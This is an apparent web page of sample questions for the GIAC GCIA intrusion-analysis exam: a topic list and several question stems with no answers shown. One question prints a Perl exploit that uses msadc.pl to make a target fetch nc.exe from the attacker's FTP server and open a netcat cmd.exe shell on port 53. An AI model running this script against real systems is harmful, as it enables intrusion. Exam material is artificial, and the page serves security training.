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GIAC GCIA Exam Questions
- Topic 1: Demonstrate an understanding of how DNS works for both legitimate and malicious purposes/ IDS Fundamentals and Network Architecture
- Topic 2: Demonstrate knowledge relating to packet crafting and manipulation/ Demonstrate understanding of the TCP/IP communications model and link layer operations
- Topic 3: Demonstrate competence in analyzing data from multiple sources as part of a forensic investigation/ Demonstrate ability to craft tcpdump filters that match on given criteria
- Topic 4: Demonstrate the ability to analyze network and application traffic to identify both normal and malicious behaviors/ Demonstrate an understanding of IDS tuning methods and correlation issues
- Topic 5: Demonstrate knowledge and skill relating to application layer protocol dissection and analysis/ How to identify fragmentation and fragmentation-based attacks in packet captures
- Topic 6: Demonstrate knowledge of fundamental IDS concepts, such as network architecture options/ Demonstrate understanding of how fragmentation works
- Topic 7: Demonstrate an understanding of SiLK and other tools to perform network traffic and flow analysis/ Create effective IDS rules to detect varied types of malicious activity
- Topic 8: Demonstrate understanding of the UDP and ICMP protocols and the ability to discern between typical and anomalous behavior/ Advanced Analysis and Network Forensics
Free GIAC GCIA Exam Actual Questions
Note: Premium Questions for GCIA were last updated On Dec. 10, 2024 (see below)
Which of the following methods is used by forensic investigators to acquire an image over the network in a secure manner?
Which of the following is a software used to manage and access Mac-formatted drives on a Windows computer?
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = 'noone@nowhere.com';# password
#################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h
$host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system
("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\"");
system("perl
msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get
hacked.
html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is
downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is
finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
You work as a Security Professional for Inc. The company has a Linux-based network. You want to analyze the network traffic with Snort. You run the following command:
snort -v -i eth 0
Which of the following information will you get using the above command?
Each correct answer represents a complete solution. Choose all that apply.
You work as a Network Administrator for Net Perfect Inc. The company's network is configured with Internet Security and Acceleration (ISA) Server 2000 to provide firewall services. You want to block all e-mails coming from the domain named fun4you.com. How will you accomplish this?
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